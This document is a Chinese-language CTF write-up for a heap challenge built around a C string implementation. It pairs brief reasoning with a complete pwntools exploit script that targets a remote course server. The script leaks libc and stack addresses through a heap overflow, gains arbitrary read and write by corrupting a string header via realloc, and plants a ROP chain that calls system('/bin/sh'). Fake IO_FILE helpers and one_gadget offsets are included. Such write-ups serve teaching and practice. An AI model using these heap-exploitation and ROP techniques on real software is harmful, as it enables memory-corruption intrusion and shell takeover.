一个用C实现的Cstring方法
gift给了libc的地址

会先有一个0x20大小的堆块存放着指向string真实内容的指针,然后下一个存放着这个string的大小,但是最初输入的时候不会malloc这么大的堆块,而是会根据你输入的大小来控制,当输入\x80的时候就会报出Invalid input而停止,因此可以用这个来控制大小
思路是先malloc几个堆块 然后add一个大的,但是输入一点东西,然后在cmd666分配一个带libc地址的堆块,然后edit刚才那个堆块,让他变大,此时会逐渐覆盖 伸到libc地址堆块然后show进行leak即可
add(0x10,b'victim\x80')
add(0x50,b'\x80')
# delete()
add(0x30,b'a'*0x31)
delete()
add(0x80,b'kkkkk\x80')
cmd(666)
edit(0x40,b'c'*0x41)
show()
p.recvuntil(b'c'*0x40)
leak_libc = u64(p.recv(6).ljust(8,b'\x00'))
success(hex(leak_libc))
libc_base = leak_libc - 0x80e50
success(f"libc_base: {hex(libc_base)}")
# 恢复一下让他好看些
edit(0x40,flat(
b'k'*0x38,
0x31,
b'k'
))
修好指针就可以show了


这时候tcache应该还活着

备份一下 可以控到fd ← 不太好打 因为counts是0 申请不出来 再变一个tcache也可以 但是太麻烦 不如↓
最后的思路是 用gift来挡一下 然后用realloc当申请大堆块空间不足时,会先free掉原有的,然后再malloc一块新的,然后add回来 再edit 可以让上面的堆块变大 覆盖到string header 从而实现任意地址读写,稍微有些巧 需要设置好字符的大小和长度才能触发
from pwn import *
from pwncli import *
# Debug : python3 exp.py debug elf-file-path -t -b malloc -b \$rebase(0x3000)
# Remote: python3 exp.py remote elf-file-path ip:port
# cli_script()
context.arch = "amd64"
context.log_level = "debug"
context.terminal =['tmux','splitw','-h']
file_path = "./pwn"
libc_path = "./libc.so.6"
libc = ELF(libc_path)
# p = process(file_path)
p = remote("course.hitctf.cn",25297)
elf = ELF(file_path)
def house_of_some_read(read_from, length, _chain):
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
fake_IO_FILE.fileno = 0
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_base = read_from
fake_IO_FILE._IO_write_ptr = read_from + length
fake_IO_FILE.chain = _chain
fake_IO_FILE.vtable = libc.sym['_IO_file_jumps'] - 0x8
return bytes(fake_IO_FILE)
def house_of_some_write(write_from, length, _chain):
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x8000 | 0x800 | 0x1000
fake_IO_FILE.fileno = 1
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_base = write_from
fake_IO_FILE._IO_write_ptr = write_from + length
fake_IO_FILE.chain = _chain
fake_IO_FILE.vtable = libc.sym['_IO_file_jumps']
return bytes(fake_IO_FILE)
def cmd(i, prompt=b' >> '):
p.sendlineafter(prompt, str(i))
def add(size,payload):
cmd(1)
p.sendlineafter(b"Enter length: ",str(size))
# payload = payload + b'\x80'
p.sendafter(b"Enter string: ",payload)
def edit(length, payload):
cmd(4)
p.sendlineafter(b"Enter length: ",str(length))
# payload = payload + b'\x80'
p.sendafter(b"Enter string: ",payload)
def show():
cmd(3)
def delete():
cmd(2)
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# one_gadgets: one_gadget_binary(binary_path, more)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
# Shellcode:ShellcodeMall.amd64
# tcache safelinking: protect_ptr(address, next)
# tcache safelinking_de: reveal_ptr(data)
# recvlibc: recv_current_libc_addr(offset(int), timeout(int))
# set_libcbase: set_current_libc_base_and_log(addr(int), offset(str or int))
# set_elfbase: set_current_code_base_and_log(addr, offset)
# while True:
# sh=process("./baby_diary")
# #sh=remote('8.140.114.72', 1399)
# try:
# pwn2()
# gdb.attach(sh)
# sh.interactive()
# except:
# sh.close()
# burp:
# for i in range(0x10):
# try:
# new_func()
# except EOFError:
# gift.io = copy_current_io()
add(0x300,b'a\x80')
cmd(666)
#leak
edit(0x20,b'c'*0x20+b'\x80')
show()
p.recvuntil(b'c'*0x20)
leak_libc = u64(p.recv(6)+b'\x00\x00')
libc_base = leak_libc - 0x80e50
libc.address = libc_base
success(f"libc_base: {hex(libc_base)}")
edit(0x20,b'b'*0x10 + b'\x00'*0x8 + p64(0x31) + b'\x80')
add(0x300,b'a'*0x28+b'\x80')
add(0x40,b'a'*0x28+b'\x80')
cmd(666)
edit(0x70,b'\x80')
add(0x300,b'a'*0x28+b'\x80')
edit(0x108, flat(
b'b'*0x100,
libc.sym['__environ']
) + b'\x80')
show()
p.recvline()
leak_stack = u64(p.recv(6)+b'\x00\x00')
success(f"leak_stack: {hex(leak_stack)}")
add(0x300,b'c'*0x28+b'\x80')
add(0x48, b'C' * 0x38 + b'\x80')
cmd(666)
edit(0x70,b'\x80')
add(0x300,b'V'*0x77+b'\x00'+b'\x80')
show()
edit(0xb8,flat(
b'c'*0xb0,
leak_stack - 0x140,
)+b'\x80')
show()
# gdb.attach(p, '''
# b *$rebase(0x13BF)
# b *$rebase(0x1631)
# b *$rebase(0x14BE)
# ''')
sh_addr = libc_base + 0x00000000001d8678
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
gift['io'] = p
gift['libc'] = libc
ogs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
edit(0x50,flat(
# 0x0000000000029139+libc_base,
pop_rdi, sh_addr,
pop_rsi,0,
0x00000000000904a9 + libc_base,0,0,
libc.sym['system']
)+b'\x80')
# edit(0x50,flat(
# ogs[6]+libc_base,
# )+b'\x80')
# edit()
p.interactive()